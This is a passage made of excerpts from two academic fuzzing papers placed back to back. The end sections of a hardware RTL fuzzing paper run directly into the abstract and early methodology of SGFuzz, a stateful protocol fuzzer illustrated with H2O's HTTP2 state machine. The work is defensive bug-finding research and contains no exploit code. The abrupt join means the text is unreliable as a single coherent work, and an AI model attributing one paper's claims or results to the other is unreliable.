that are orders-of-magnitude less complex than conventional
dynamic verification testbenches.

7 Discussion

Detecting Bugs During Fuzzing. The focus of Hardware
Fuzzing is to provide a scalable yet flexible solution for in-
tegrating CDG with hardware simulation. However, test gen-
eration and hardware simulation comprise only two-thirds
of the hardware verification process (§2.1). The final, and
arguably most important, step is detecting incorrect hardware
behavior, i.e., test evaluation in §2.1.3. For this there are two
approaches: 1) invariant checking and 2) (gold) model check-
ing. In both cases, we trigger HSB crashes upon detecting
incorrect hardware behavior, which software fuzzers log. For
invariant checks, we use SVAs that send the HSB process
the SIGABRT signal upon assertion violation (demonstrated in
§6.2.2). Likewise, for gold model checking testbenches any
mismatches between models results in a SIGABRT.

Developing Additional Bus Protocols. To provide a
design-agnostic interface to fuzz RTL hardware, we develop
a design-agnostic testbench harness (Fig. 13). Our harness
decodes fuzzer-generated tests using a bus-specific grammar
(§4.1.2), and produces corresponding TL-UL bus transactions
that drive a DUT. In our current implementation, our generic
testbench harness conforms to the TL-UL bus protocol [29].
As a result, we can fuzz any IP core that speaks the same bus
protocol (e.g., all OpenTitan cores [44]). To fuzz cores that
speak other bus protocols (e.g., Wishbone, AMBA, Avalon,
etc.), users can simply write a new harness for the bus they
wish to support.

Writing a new bus harness requires developing an API with
two (or more) functions that represent possible bus transac-
tions that the fuzzing harness (testbench) can initiate. These
functions toggle the bus interface signals in the correct order,
to complete a bus transaction, e.g., reading/writing to/from a
specific address. For the TL-UL bus protocol we study, only
a read (Get in TL-UL terms) and write (Put in TL-UL terms)

function are required. Implementing these functions took 380
lines of C++ code (including supporting debug code). For
more details on how to implement your own fuzzing harness
based off our TL-UL harness, we refer you to our open-source
codebase.

Hardware without a Bus Interface. For hardware designs
that perform I/O over a generic set of ports that do not con-
form to any bus protocol, we provide a generic testbench
harness that maps fuzzer-generated input files across spatial
and temporal domains by interpreting each fuzzer-generated
file as a sequence of DUT inputs (Algo. 1). We demonstrate
this Hardware Fuzzing configuration when fuzzing various
digital locks (Fig. 7B) and the RFUZZ cores (Fig. 12). Specif-
ically, RFUZZ automatically generates a testbench harness
for each DUT that takes as input a byte array each clock cycle,
and maps the bits in the array to the inputs of the DUT. Our
generic testbench harness then wraps the RFUZZ-generated
testbench, reading input bytes generated by the fuzzer, and
routing them directly to the (auto-generated) RFUZZ test-
bench byte array.

Note, if any DUT inputs require structural dependencies,
we recommend developing a grammar and corresponding
testbench—similar to our bus-specific grammar (§4.1.2)—to
aid the fuzzer in generating valid test cases. Designers can use
the lessons in this paper to guide their core-specific grammar
designs.

Limitations. While Hardware Fuzzing is both efficient
and design-agnostic, there are some limitations. First, unlike
software, there is no notion of a hardware sanitizer, that can
add safeguards against generic classes of hardware bugs for
the fuzzer to sniff out. While we envision hardware sanitizers
being a future active research area, for now, DV engineers
must create invariants or gold models to check design be-
havior against for the fuzzer to find crashing inputs. Second,
there is no notion of analog behavior in RTL hardware, let
alone in translated software models. In its current implemen-
tation, Hardware Fuzzing is not effective against detecting
side-channel vulnerabilities that rely on information transmis-
sion/leakage through analog domains.

8 Related Work

There are two categories of prior CDG approaches: 1) design-
agnostic and 2) design-specific.

Design-Agnostic. Laeufer et al. ’s RFUZZ [39] is the most
relevant prior work, which attempts to build a full-fledged
design-agnostic RTL fuzzer. To achieve their goal, they pro-
pose a new RTL coverage metric—mux toggle coverage—that
measures if the control signal to a 2:1 multiplexer expresses
both states (0 and 1). Like our approach, they use a fuzzer
very similar to AFL.12 Unlike our approach, they instrument

12According to their GitHub repository, the RFUZZ fuzzer, called kfuzz, is
mostly a re-implementation of AFL in the Rust programming language [38].
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the RTL directly, by injecting additional HDL into the design.
Unfortunately, this has two drawbacks. First, to instrument
the RTL for coverage tracing, the authors of RFUZZ develop
a custom optimization pass on top of the FIRRTL compiler.
However, the FIRRTL compiler, takes as input FIRRTL code,
and translates it to Verilog. This implies that their coverage-
tracing instrumentation tooling is only compatible with hard-
ware designs described in FIRRTL, or an HDL that is easily
translated to FIRRTL, e.g., Chisel.13 Unfortunately, translat-
ing (System)Verilog designs to FIRRTL is non-trivial, and
experimental at best [8]. Second, RFUZZ requires some de-
signs be modified to have reset times on the order of one to
two clock cycles, since designs must be reset between test
executions, and slow resets can lead to poor fuzzing perfor-
mance.

Similarly, Gent et al. [22] also propose an automatic test
pattern generator based on custom coverage coverage mon-
itors injected into the RTL. However, given their coverage
tracing methods, Laeufer et al. [39] question the scalability
of their approach to larger designs.

Design-Specific. Unlike the design-agnostic approaches,
several researchers propose CDG techniques exclusively for
processors. Zhang et al. [92] propose Coppelia, a tool that
uses a custom symbolic execution engine (built on top of
KLEE [9]) on software models of the RTL. Coppelia’s goal
is to target specific security-critical properties of processors;
Hardware Fuzzing enables combining such static methods
with fuzzing (i.e., concolic execution [66]) for free, overcom-
ing the limits of symbolic execution alone. Hur et al. [28]
propose DIFUZZRTL that combines RFUZZ with golden model
checking to find bugs in CPUs. However, Hardware Fuzzing
produces better coverage than RFUZZ (§6.1), and can be com-
bined with invariant or with golden model checking to detect
bugs. Lastly, two other processor-specific CDG approaches
are Squillero’s MicroGP [65] and Bose et al. ’s [6] that use
a genetic algorithms to generate random assembly programs
that maximize RTL code coverage of a processor. Unlike
Hardware Fuzzing, these approaches require custom DUT-
specific grammars to build assembly programs from.

9 Conclusion

Hardware Fuzzing is an effective solution to CDG for hard-
ware DV. Unlike prior work, we take advantage of feature-rich
software testing methodologies and tools, to solve a long-
standing problem in hardware DV. To make our approach
attractive to DV practitioners, we solve several key deploy-
ability challenges, including developing generic interfaces
(grammar & testbench) to fuzz RTL in a design-agnostic man-
ner. Using our generic grammar and testbench, we show that
our Hardware Fuzzing approach can achieve over 83% HDL

13This is further confirmed by reviewing their GitHub project [38], which
only contains hardware designs written in FIRRTL.

code coverage across four of the five OpenTitan IPs we study
in only one hour, with no knowledge of the DUT design or
implementation. Moreover, we demonstrate that approach can
also detect various real and implanted bugs in the same de-
signs, in less than 10 hours. Finally, compared to standard
dynamic verification practices and prior RTL fuzzing tech-
niques [39], with Hardware Fuzzing, we achieve over two
orders-of-magnitude and 26.70% coverage convergence im-
provements, respectively.
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A Digital Lock HDL

Listing 1: SystemVerilog of Lock with N=log2(#states) and
M-bit codes.

1 module lock(
2 input reset_n ,
3 input clk ,
4 input [M−1:0] code,
5 output unlocked
6 ) ;
7 logic [N−1:0] state ;
8 logic [M−1:0] correct_codes [N];
9

10 // Secret codes set to random values
11 for (genvar i = 0; i < N; i++) begin : secret_codes
12 assign correct_codes [ i ] = <random value>;
13 end
14

15 assign unlocked = ( state == ’1) ? 1’b1 : 1’b0;
16

17 always @(posedge clk) begin
18 if (! reset_n ) begin
19 state <= ’0;
20 end else if (!unlocked && code == correct_codes[ state ])

begin
21 state <= state + 1’b1;
22 end else begin
23 state <= state ;
24 end
25 end
26 endmodule

B Optimizing the Hardware Fuzzing Gram-
mar

Recall, to facilitate widespread adoption of Hardware Fuzzing
we design a generic testbench fuzzing harness that decodes
a grammar and performs corresponding TL-UL bus transac-
tions to exercise the DUT (Fig. 13). However, there are im-
plementation questions surrounding how the grammar should
be decoded (§4.1.2):

1. How should we decode 8-bit opcodes when the opcode
space defines less than 28 valid testbench actions?

2. How should we pack Hardware Fuzzing instruction
frames that conform to our grammar?

B.1 Opcode Formats
In its current state, we define three opcodes in our grammar
that correspond to three actions our generic testbench can per-
form (Table 1): 1) wait one clock cycle, 2) TL-UL read, and
3) TL-UL write. However, we chose to represent these op-
codes with a single byte (Fig. 4). Choosing a larger field than
necessary has implications regarding the fuzzability of our
grammar. In its current state, 253 of the 256 possible opcode
values may be useless depending on how they are decoded by
the testbench. Therefore we propose, and empirically study,
two design choices for decoding Hardware Fuzzing opcodes
into testbench actions:

• Constant: constant values are used to represent each op-
code corresponding to a single testbench action. Remain-
ing opcode values are decoded as invalid, and ignored.

• Mapped: equal sized ranges of opcode values are
mapped to valid testbench actions. No invalid opcode
values exist.

B.2 Instruction Frame Formats
Of the three actions our testbench can perform—wait, read,
and write—some require additional information. Namely, the
TL-UL read action requires a 32-bit address field, and the
TL-UL write action requires 32-bit data and address fields.
Given this, there are two natural ways to decode Hardware
Fuzzing instructions (Fig. 4):

• Fixed: a fixed instruction frame size is decoded regard-
less of the opcode. Address and data fields could go
unused depending on the opcode.

• Variable: a variable instruction frame size is decoded.
Address and data fields are only appended to opcodes
that correspond to TL-UL read and write testbench ac-
tions. No address/data information goes unused.

B.3 Results
To determine the optimal Hardware Fuzzing grammar, we
fuzz four OpenTitan IP blocks—the AES, HMAC, KMAC,
and RV-Timer—for 24 hours using all combinations of opcode
and instruction frame formats mentioned above. For each core
we seed the fuzzer with 8–12 binary Hardware Fuzzing seed
files (in the corresponding Hardware Fuzzing grammar) that
correctly drive each core, with the exception of the RV-Timer
core, which we seed with a single wait operation instruction
due to its simplicity. For each experiment, we extract and plot
three DUT coverage metrics over fuzz times in Fig. 15. These
metrics include: 1) line coverage of the DUT software model,
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Figure 15: Coverage Convergence vs. Hardware Fuzzing Grammar. Various software and hardware coverage metrics over fuzzing time across four
OpenTitan [44] IP cores and hardware fuzzing grammar variations (§B). In the first row, we plot line coverage of the software models of each hardware core
computed using kcov. In the second row, we plot basic block coverage computed using LLVM. In last row, we plot HDL line coverage (of the hardware itself)
computed using Verilator [64]. From these results we formulate two conclusions: 1) coverage in the software domain correlates to coverage in the hardware
domain, and 2) the Hardware Fuzzing grammar with variable instruction frames is best for greybox fuzzers that prioritize small test files.

2) basic block coverage of the same, and 3) line coverage
of the DUT’s HDL. Software line coverage is computed us-
ing kcov [34], software basic block coverage is computed
using LLVM [40], and hardware line coverage is computed
using Verilator [64]. Since we perform 10 repetitions of
each fuzzing experiment, we average and consolidate each
coverage time series into a single trace.

From these results we draw two conclusions. First, vari-
able instruction frames seem to perform better than fixed
frames, especially early in the fuzzing exploration. Since AFL
prioritizes keeping test files small, we expect variable sized
instruction frames to produce better results, since this trans-
lates to longer hardware test sequences, and therefore deeper
possible explorations of the (sequential) state space. Second,
the opcode type seems to make little difference, for most ex-
periments, since there are only 256 possible values, a search
space AFL can explore very quickly. Lastly, we point out that
for simple cores, like the RV-Timer, Hardware Fuzzing is able
to achieve ≈85% HDL line coverage in less than a minute
(hence we do not plot the full 24-hour trace).
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Abstract

Many protocol implementations are reactive systems,
where the protocol process is in continuous interaction with
other processes and the environment. If a bug can be exposed
only in a certain state, a fuzzer needs to provide a specific
sequence of events as inputs that would take protocol into
this state before the bug is manifested. We call these bugs as
"stateful" bugs. Usually, when we are testing a protocol imple-
mentation, we do not have a detailed formal specification of
the protocol to rely upon. Without knowledge of the protocol,
it is inherently difficult for a fuzzer to discover such stateful
bugs. A key challenge then is to cover the state space with-
out an explicit specification of the protocol. Finding stateful
bugs in protocol implementations would thus involve partially
uncovering the state space of the protocol. Fuzzing stateful
software systems would need to incorporate strategies for
state identification. Such state identification may follow from
manual guidance, or from automatic analysis.

In this work, we posit that manual annotations for state
identification can be avoided for stateful protocol fuzzing.
Specifically, we rely on a programmatic intuition that the
state variables used in protocol implementations often ap-
pear in enum type variables whose values (the state names)
come from named constants. In our analysis of the Top-50
most widely used open-source protocol implementations, we
found that every implementation uses state variables that are
assigned named constants (with easy to comprehend names
such as INIT, READY) to represent the current state. In this
work, we propose to automatically identify such state vari-
ables and track the sequence of values assigned to them during
fuzzing to produce a "map" of the explored state space.

Our experiments confirm that our stateful fuzzer discovers
stateful bugs twice as fast as the baseline greybox fuzzer that
we extended. Starting from the initial state, our fuzzer exer-
cises one order of magnitude more state/transition sequences
and covers code two times faster than the baseline fuzzer.
Several zero-day bugs in prominent protocol implementations
were found by our fuzzer, and 8 CVEs have been assigned.

IDLE

RECV_HEADERS

RECV_BODY

REQ_PENDING

SEND_HEADERS

SEND_BODY

BODY_IS_FINAL

END_STREAM

END_STREAM

END_STREAM

END_STREAM

REQ_PENDING

SEND_HEADERS

SEND_BODY

BODY_IS_FINAL

END_STREAM

Figure 1: Dynamically constructed state transition tree (STT)
for an HTTP2 protocol implementation (H2O).

1 Introduction

Protocol implementations are stateful software systems that
require input messages to be sent in a certain expected order.
Conventional greybox fuzzing approaches consider structured
program inputs, which are subject to random mutations for ex-
ploring the space of program inputs. However, for protocols,
the input needed to trigger a behavior is a sequence of mes-
sages, events, or actions. Thus for exposing corner cases or
bugs in such systems, which we call stateful bugs, the fuzzing
technique needs to explore an unknown state space by con-
structing and navigating suitable event sequences. We design,
implement and evaluate such a fuzzer in this paper.

Existing coverage-guided greybox fuzzers (CGF) [1, 23]
have been very successful at finding bugs, but they cannot ef-
fectively deal with a state space. For instance, the HTTP2 pro-
tocol requires a HEADER frame to be sent before the DATA
frame. In the H2O implementation (Figure 1), a state variable
is set to a certain value when the HEADER frame is received.
The same state variable is checked when the DATA frame is
received. Suppose, there is a bug in the response to a correctly
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processed DATA frame. As there is a specific sequence of
input messages needed to reveal the bug, we call this a stateful
bug. Suppose also that the first generated input sends a DATA
frame and then a HEADER frame. Clearly, the DATA frame
cannot be processed; yet the code for the HEADER frame
handler is already covered. A coverage-guided fuzzer has no
information on the traversed state space. It is oblivious to the
fact that the correct processing of the DATA frame is "un-
locked" only when the requisite state is visited first (during
the processing of the HEADER frame).

The main objective of a stateful greybox fuzzer should be
to chart out and efficiently explore an unknown state space to
discover stateful bugs. To this end, a stateful fuzzer (i) con-
structs a lightweight abstraction of the observed state space
from the state feedback—in our case from the sequence of ob-
served state variable values, and (ii) navigates this state space
abstraction to maximize the probability of visiting unobserved
states. In line with most existing efforts in greybox fuzzing,
we assume that no external information is available, neither in
the form of protocol specifications nor in the form of human
annotations [2]. A stateful greybox fuzzer is pointed to the
protocol implementation, fuzzes it, and reports any bugs that
it finds. So, how can we enable a greybox fuzzer to effectively
navigate an unknown state space?

Identifying state space. In this paper, we argue that proto-
cols are often explicitly encoded using state variables that
are assigned and compared to named constants.1 State vari-
ables allow developers to implement state transitions by as-
signing the corresponding named constant, and to implement
state-based program logic as if- or switch-statements. More
specifically, using pattern matching, we identify state vari-
ables using enumerated types (enums). An enumerated type
is a group of named constants that specifies all possible val-
ues for a variable of that type. Our instrumentation injects a
call to our runtime at every program location where a state
variable is assigned to a new value. Our runtime efficiently
constructs the state transition tree (STT). The STT captures
the sequence of values assigned to state variables across all
fuzzer-generated input sequences, and as a global data struc-
ture, it is shared with the fuzzer. An example of the STT
constructed for the H2O implementation of the HTTP2 proto-
col is shown in Figure 1. Our in-memory fuzzer uses the STT
to steer the generated input sequences towards under-explored
parts of the state space.

Stateful greybox fuzzing. We discuss several heuristics to
increase the coverage of the state space via greybox fuzzing.
First, we propose to add generated inputs to the seed corpus
that exercise new nodes in the STT. As we will demonstrate,
code coverage alone is insufficient to capture the order across
different requests. Instead, we should capture the states in
which the code is covered. Hence we argue, adding inputs

1We found that this observation holds for all of the top-50 most widely
used protocol implementations as well as for every stateful protocol in the
ProFuzzbench protocol testing benchmark [19].

that discover a new node in the STT facilitates a better cov-
erage of the state space. Secondly, we propose to focus on
the seeds which traverse the rarely visited nodes of the STT
or whose offsprings are more likely to take a different path
through the STT. We hypothesize that these heuristics will
help the fuzzer to explore the state space. Finally, we pro-
pose an approach to focus particularly on the bytes in the
seed, whose mutations trigger new nodes in the STT. The
state space corresponding to the newly added nodes can be
efficiently explored by mutating these bytes.

Results. We implemented our stateful greybox fuzzing ap-
proach into LIBFUZZER [1] and call our tool SGFUZZ (State-
ful Greybox Fuzzer). We evaluated SGFUZZ against LIB-
FUZZER and AFLNET on eight widely used protocol imple-
mentations. The state sequence for an input is determined by
the sequence of values assigned to the state variables during
the execution of the protocol implementation. In our experi-
ments, starting from the initial state, our stateful fuzzer exer-
cises 33x more state sequences than LIBFUZZER 15x more
than IJON, and 260x more than AFLNET. Observing that
some code can be covered only in certain states, we found
that SGFUZZ achieves the same branch coverage more than
2x faster than LIBFUZZER. By reproducing existing stateful
bugs, we also found SGFUZZ exposes stateful bugs about
twice as fast as LIBFUZZER and IJON, more than 155x faster
than AFLNET. Most of all, SGFUZZ found 12 new bugs in
widely used stateful systems, 8 of which were assigned CVEs.
Our analysis further shows that stateful bugs are prevalent: ev-
ery four in five bugs reported among our subjects are stateful.
We have made our data set publicly available for review and
will make an open-source release of our fuzzer to researchers
and practitioners upon publication of the work.

In summary, we make the four key contributions:

• We propose an automatic method to identify and capture
the explored state space of a protocol implementation.

• We present the design and implementation of SGFUZZ, a
stateful greybox fuzzer that found 12 new bugs in widely-
used and well-fuzzed programs.

• We conduct and present a comprehensive evaluation of
SGFUZZ against the state-of-the-art and the baseline
stateful greybox fuzzers.

• We make all data, scripts, and tools publicly available to
facilitate reproducibility.

2 Motivating Example

We believe that current greybox or stateful fuzzers are inef-
fective in detecting stateful bugs. We use the stream state
machine of HTTP2 protocol and the H2O implementation to
explain the main reasons for their inefficiency to motivate our
approach for stateful greybox fuzzing.
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Figure 2: The HTTP2 stream state machine as per RFC 7540.

2.1 The HTTP2 Protocol
HTTP2 is a multiplexing protocol, in which each HTTP re-
quest is split into several frames corresponding to the HTTP
header, HTTP body, and so on. A frame is the minimal data
unit that is passed along the HTTP2 protocol. For instance,
an HTTP2 request message may be split into a header frame
and a few data frames. All frames belonging to the same
HTTP request constitute a stream, having to be processed by
the server in order. The HTTP2 protocol defines the stream
state machine, which regulates the processing order of frames.
When different frames are being processed, the server visits
different states, e.g., the “receiving header” state when it re-
ceives the header frame and the “receiving body” state when
receiving data frames.

Figure 2 shows the HTTP2 stream state machine as per
the official specification (RFC 7540)2. In the initial idle state,
the current or remote participant can send / receive a push
promise frame (PP) or a header frame (H). A push promise
frame simply marks a stream as reserved while a header frame
marks the stream as open. In the open state, all frames are
processed including data frames. An end stream (ES) frame
will mark an open stream as half-closed and a half-closed
stream as closed. In any state, if a reset (R) frame is sent /
received, the stream is marked as closed.

2.2 The H2O Implementation
H2O is a new generation HTTP server that is very fast. H2O
supports the HTTP, HTTP2, and HTTP3 protocols and is
written in C programming language. We focus on HTTP2
implementation.

State Variables. H2O implementation uses a much finer-
grained HTTP2 stream state machine than specified in Fig-
ure 2. Specifically, H2O tracks the different stages in which

2https://datatracker.ietf.org/doc/html/rfc7540

frames are received and responses are sent. H2O uses a dedi-
cated variable to store the current protocol state (i.e., a state
variable; here the enumeration variable stream->state).
The eight implemented HTTP2 stream states are defined as
enumerated type with the following named constants:

• State (0). H2O_HTTP2_STREAM_STATE_IDLE

• State (1). H2O_HTTP2_STREAM_STATE_RECV_HEADERS

• State (2). H2O_HTTP2_STREAM_STATE_RECV_BODY

• State (3). H2O_HTTP2_STREAM_STATE_REQ_PENDING

• State (4). H2O_HTTP2_STREAM_STATE_SEND_HEADERS

• State (5). H2O_HTTP2_STREAM_STATE_SEND_BODY

• State (6). H2O_HTTP2_STREAM_STATE_SEND_BODY_IS_FINAL

• State (7). H2O_HTTP2_STREAM_STATE_END_STREAM

At the start, the server is in the idle State (0) and waits for
incoming requests. Depending on the frames received within
the stream, the following states are visited: receiving request
header (1), request body (2), sending response header (4),
response body (5), and end of stream (7). State (3) is an
intermediate state in which an incoming frame has not been
assigned a handler, yet. State (6) is reached only when the
client has indicated the end of the stream but there are still
pending frames to be sent from the server.

H2O uses named constants to keep track of the current
HTTP2 protocol state. We use this insight to identify
states.

2.3 Challenges of Fuzzing Stateful Software

If the protocol specification is unavailable, how can we au-
tomatically figure out the conditions required to exercise the
state-dependent code? We make the following observations.

Uninformative Response Codes. The observable response
code is unrelated to the current HTTP2 stream state. This ren-
ders ineffective the state-of-the-art fuzzer AFLNet [20] which
depends on the response code to identify the current state.

Coverage is insufficient. In Figure 3, the function handle-
_request_body_chunk 4⃝ is executed only if the current
value of stream->state is ..RECV_BODY when the data
frame is handled 3⃝. However, stream->state is set to
..RECV_BODY 2⃝ only when the handler for the header frame
is called beforehand with a valid header frame 1⃝. Code cov-
erage does not capture the required ordering. It is possible to
cover both handler functions ( 1⃝ and 3⃝) by sending a data
frame first and a header frame next. However, this sequence
of frames cannot be easily modified to cover the function
handle_request_body_chunk 4⃝. On the contrary, if the
header frame is sent first and the data frame next, the same han-
dler functions would be covered, but this latter sequence can
be modified much more easily to cover the function handle-
_request_body_chunk 4⃝ (if it was not already). For exist-
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static void handle_request_body_chunk(

   ...

   if (stream->req.write_req.cb(stream->req.write_req.ctx, payload,

       is_end_stream) != 0) {

       ...   

}

static int handle_data_frame(...h2o_http2_stream_t *stream...){

    ...

    if (stream->state != H2O_HTTP2_STREAM_STATE_RECV_BODY && ...) {
      ...

      return 0;  

    }

    handle_request_body_chunk(...); 

    ... 

}

static int handle_incoming_request(...h2o_http2_stream_t *stream...){
    ...
    h2o_http2_stream_set_state(conn, stream,    
                                H2O_HTTP2_STREAM_STATE_RECV_BODY);
    ...
}

static int handle_headers_frame(...h2o_http2_frame_t *frame...)
{
    ...
    if ((frame->flags & H2O_HTTP2_FRAME_FLAG_END_HEADERS) != 0) {
        /* request headers are complete, handle it */
        return handle_incoming_request(conn, stream, ...);
    }
    ...
    return 0;  
}

4

3

2

1

Figure 3: H2O handlers for header and data frames. A handler
processes inputs as they arrive. Depending on the sequence
in which header and data frames arrive, the value of the state
variable is set and checked. Certain code is reachable only if
the state variable carries a certain value.

ing coverage-guided fuzzers, there would be no distinction
between these two scenarios in terms of coverage3.

By adding generated message sequences to the corpus that
exercise a new sequence of states (i.e., add a new node to
the state transition tree), we can capture both scenarios.

3 Methodology

Our main objective is to capture the protocol state space
without any knowledge of the protocol. Our key observation is
that the current protocol states are often explicitly represented
using so-called state variables.

3.1 Offline State Variable Identification
Our first step is to automatically identify state variables in the
program code. If the reader is tasked to implement a stateful
protocol that contains explicitly named protocol states and
a well-specified protocol logic that proceeds based on the
current protocol state, how would the reader keep track of the
current protocol state in his implementation? We examined
the top-50 most widely used open-source implementations

3As both handlers are called in a loop, there does not exist a direct edge
between both handlers that could be covered.

(cf. Section A.4)4 of stateful protocols as indicated in a search
on Shodan5 or by Github stars. We found that all of them
use named constants assigned to special state variables to
keep track of the current state. Of those, 44 use enum type
while 6 use #define statements to define the named constants.
Unlike the state-of-the-art [20], which requires manual effort
to write protocol-specific drivers that extract state information
from the server responses, our state variable identification is
entirely automatic.

An example of a state variable is given in Section 2. Using
state variables, developers of protocol implementations can
maintain a direct mapping between protocol states given in
the protocol specification (cf. Figure 2) and the protocol states
in the implementation (cf. Section 2.2). State transitions are
implemented by assigning another named constant to the state
variable. Protocol logic that is based on the current state can
be implemented as switch-statements or if-conditions where
the current state variable value guards the corresponding state-
based protocol logic (c.f. Figure 3).

To identify state variables, we look for all variables of
enumerated type (enum in C/C++). An enumerated type is a
list of named constants used in computer programming to map
a set of names to numeric values. Variables of enumerated
type can only be assigned constants from the specified list of
named constants. In our case, this list represents all states that
the state variable can represent (e.g., IDLE to END_STREAM
in Section 2.2). Specifically, we use regular expressions to
automatically extract all definitions of enumerated types and
then use the definitions to return the list of all enum variables
that have been assigned at least once.

As we can see in Table 1, not all variables of enumerated
type need to be state variables. The second category is enu-
merated types that represent all possible response or error
codes. The third category is enumerated types that represent
all possible configuration options for a configuration variable.
However, in practice, our heuristic remains very effective. Re-
sponse and error code variables are already indirectly used
for state identification by the state-of-the-art AFLNET. Con-
figuration variables are usually assigned once and only when
the server starts (i.e., before we start recording the state tran-
sitions for each message sequence), or at the beginning of the
session. If we record configuration variables at the beginning
of the sessions, they appear at the beginning of each state tran-
sition sequence and will never be identified as “rare” states
(which we focus on in Section 4.2).

3.2 State Transition Tree Data Structure

To capture the protocol state transitions exercised by gener-
ated sequences of inputs, we monitor the sequences of values

4We also confirmed our observation for all stateful protocol implementa-
tions in the ProFuzzBench protocol fuzzing benchmark [19].

5Shodan is a search engine for various types of servers connected to the
internet: https://www.shodan.io/.
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Enum. Type Example(s) Explanation
State variables stream->state,

sender_state
Explicit representation of the protocol states. These are the enum-type variables, the values of which we aim to
record in the state transition tree. In H20, 22 of 43 enum-type variables are actual state variables.

Error or response
codes

error, status Response codes or error codes are explicitly defined in the protocol and provide quick information to the client
about the processing of the last message. These enum-type variables correspond to the existing response-code-based
state identification in AFLNET. In H2O, 2 of 43 enum-type variables are response or error codes.

Configuration
variables

priority,
run_mode

These variables represent the concrete choices from a set of configuration options. Those options are read either
from a configuration file or the command line. In H2O, 19 of 43 enum-type variables are configuration variables.

Table 1: Kinds of variables with enumerated types and their impact on the state transition tree.

assigned to state variables. All observed sequences of values
across all state variables in all threads are stored in the same
state transition tree, a data structure that represents the entire
state space that has been explored by the fuzzer. An example
is shown in Figure 1.

State Transition Tree. A node in the state transition tree
represents the value of a state variable during program execu-
tion. Each node has only one parent node and zero or more
children nodes. If there is only one state variable, the parent
and the children nodes of a specific node respectively repre-
sent the state variable’s value before and after the creation of
that node. If there are multiple state variables, a node’s par-
ent or children nodes can represent values of different state
variables. Each edge from a node to its children represents
a value change of any state variable, indicating a state tran-
sition. From a global perspective, the tree has only one root
node which represents the initial state, and each path from the
root node to a leaf node represents a unique state transition
sequence during program execution on an input.

We use the motivating example from Section 2 to explain
the state transition tree (STT). Figure 1 shows the STT for
the stream->state state variable after getting five execution
traces. The root node is the idle State (0). After getting valid
requests in stipulated order, the following nodes are recorded:
receiving request header State (1), request body State (2),
sending response header State (4), response body State (5),
and end of stream State (7). If any request has malformed data,
the state directly transitions to the end of stream State (7) as
shown in the left three branches. Another situation is that the
request body is empty. In this situation, it will go through the
right branch, bypassing the receiving request body State (2).

Figure 4 shows a compact representation of the automati-
cally constructed STT as a directed graph. Visual comparison
to the official state machine in Figure 2 reveals a striking sim-
ilarity with the specified protocol. Specifically, to construct
the directed graph, we merge all nodes with the same val-
ues of enumeration variables, such as merging all leaf nodes
which have the same State (7). Like the official state machine,
our extracted state machine also starts at the idle state. After
receiving a valid header frame, our extracted state machine
transitions to the receiving request header State (1) while the
official state machine transitions to the open state. Next, when
traversing States (2)(3)(4)(5), the official state machine is still
in the same open state. Finally, when the connection is ready

IDLE

RECV_HEADERS

RECV_BODY

REQ_PENDING

SEND_HEADERS

SEND_BODY

BODY_IS_FINAL

END_STREAM

Figure 4: The state machine extracted from the State Transi-
tion Tree of H2O (node name prefixes omitted).

to close, our extracted state machine transitions to State (6)
and State (7) which corresponds to the half-closed (local) and
closed states in the official state machine, respectively. There-
fore, we not only accurately recover parts of the official state
machine, using a simple but highly effective approach, but
we also get a more fine-grained state machine as it is actually
implemented. Together with our greybox fuzzing algorithm,
we aim to gradually recover more and more states on the fly.

3.3 State Transition Tree Construction
To construct the state transition tree (STT), we automatically
inject a runtime into the program binary during compilation.
The runtime gradually constructs the STT along with program
executions on the inputs generated during fuzzing campaign.

Compile-time instrumentation. We developed a Python
script that injects a call to our runtime before every assign-
ment of a named constant to a state variable in the protocol
implementation. Given the list of state variables extracted
during our offline state variable identification, we use regu-
lar expressions to find all instructions in the code where the
state variables are assigned new values. The injected function
calls pass the state variable names and the value of the named
constant to our runtime. To make the instrumentation more
flexible and accurate, we also provide an option to allow users
to block some variables extracted from offline state variable
identification. We did not choose LLVM to instrument the pro-
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tocol implementation because enum-values will be replaced
by integer-type constant values in the LLVM intermediate
language (LLVM-IR).

Runtime derivation of State Transition Tree. Across all
executions of a protocol implementation during a fuzzing
campaign, the runtime uses the information passed by the
injected calls, to gradually construct the STT. The STT data
structure is implemented in the runtime component with a
pointer that points to the last visited node (initially root). Each
node in the STT is distinguished by the variable name and
its corresponding value, passed from the instrumented calls
to the runtime. Once called, the runtime checks whether a
matching node already exists among the child nodes of the
last visited node. If not found, a new child node is created
for it. Then the last-visited-node pointer is set to point to the
already existing or the newly created child node, whichever
applies. After execution of the program on each input, the last-
visited-node pointer is reset to the root node waiting for the
next execution. To support multi-threading, which is common
for protocol implementations, we leverage a mutex to protect
the code for updating the state transition tree from concur-
rency issues. To avoid that the STT grows to an unreasonable
size, we provide an option to limit the maximum number of
state repetitions along with a single execution. Whenever a
state is repeated more often than allowed (along a path in the
STT), subsequent states are ignored (and that particular path
is truncated). This allows us to efficiently manage the state
transitions as a tree, rather than a graph, during the fuzzing
campaign. In our experiments,we chose the same threshold
for all subjects, generally so that the number of nodes does
not exceed 10k nodes.

3.4 Handling Implicit States
In addition to the explicit states that are captured using state
variables, like for any software system, there exist implicit
states: databases and file systems are changed; some memory
is allocated but never freed. While explicit states are reset
whenever the connection is closed after a message exchange,
implicit states aggregate over time and survive various con-
nection resets.6 The STT can only keep track of explicit states
but not of such implicit states. To explore the implicit state
space, we let the implicit states aggregate without reset. This
allows us to find other types of stateful bugs.

Our in-memory stateful greybox fuzzer lives in the same
process as the protocol implementation. Hence, the protocol
implementation under test does not need to be restarted for
every message exchange. This gives a substantial performance
boost but also allows us to aggregate implicit states across
message exchanges. To facilitate reproducing this type of
bug, we enable an option to save the list of all the inputs on
which the program has been executed. After getting a crash
report from the fuzzer, we gradually minimize the list until a

6A connection includes multiple requests and responses.

minimal list triggers this crash. This minimal list can be used
for further manual analysis.

4 Stateful Greybox Fuzzing Algorithm

To efficiently explore the state space, we propose to use the
State Transition Tree (STT), described in section (3.2), as a
guide for the stateful greybox fuzzer. SGFUZZ incrementally
constructs the STT at runtime and employs it as follows:

1. Generated inputs that increase coverage of the STT are
added to the seed corpus.

2. Within the seed corpus, SGFUZZ prioritizes the seeds
that have a greater potential to increase the coverage of
the STT.

3. Within the chosen seed, SGFUZZ prioritizes bytes asso-
ciated with newly added STT nodes which have more
potential to increase the coverage of the STT.

Algorithm 1 Stateful Greybox Fuzzing
Input: Seed Corpus T

Crashing inputs Tx = /0

for each t ∈ T do
Et = 1 // initial energy

end for
State transition tree ST T = /0

repeat
t = choose_next(T,E)
t ′ = mutate(t,ST T )
ST T = execute(t ′,ST T )
if t ′ crashes then

return t ′

else if is_interesting(t ′,ST T ) then
add t ′ to T
